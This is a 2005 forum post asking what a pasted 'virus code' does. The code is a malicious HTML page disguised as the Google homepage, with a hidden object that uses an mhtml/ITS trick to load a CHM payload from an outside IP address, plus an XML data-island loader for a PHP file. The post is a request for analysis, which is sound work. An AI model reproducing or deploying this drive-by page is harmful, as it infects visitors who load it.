View Single Post
Old 02-23-2005, 02:49 AM  
KMR Stitch
I am cool
 
Join Date: Jul 2003
Posts: 14,494
Can anyone tell me what this virus code does?

Code:
<html><head>
<title>Google</title>
</head>
<body id="body" bgcolor=#ffffff text=#000000 link=#0000cc vlink=#551a8b alink=#ff0000>
<center><img src=x15.gif height=1 width=1 border=0>
            <textarea cols="1" rows="1" id="code" style="display:none;">
                <object data='hahaha109;s-its:mhtml:file://C:\foo.mht!http://82.179.166.145/x15.chm::/launch.html' type='text/x-scriptlet' width='1' height='1'></object>
            </textarea>
            <script language="javascript">
                document.write(code.value.replace(/\${PATH}/g,location.href.substring(0,location.href.indexOf('index2.php'))));
            </script>
            <span datasrc="#oRun" datafld="view" dataformatas="html"></span>
            <xml id="oRun">
                <preview>
                    <view>
                        <![CDATA[
                        <object id="oFile" data="hpp3n.php"></object>
                        ]]>
                    </view>
                </preview>
            </xml>
        <p><font size=-2>&copy;2004 Google - Searching 4,285,199,774 web pages</font></p>
</center>
</body></html>
KMR Stitch is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote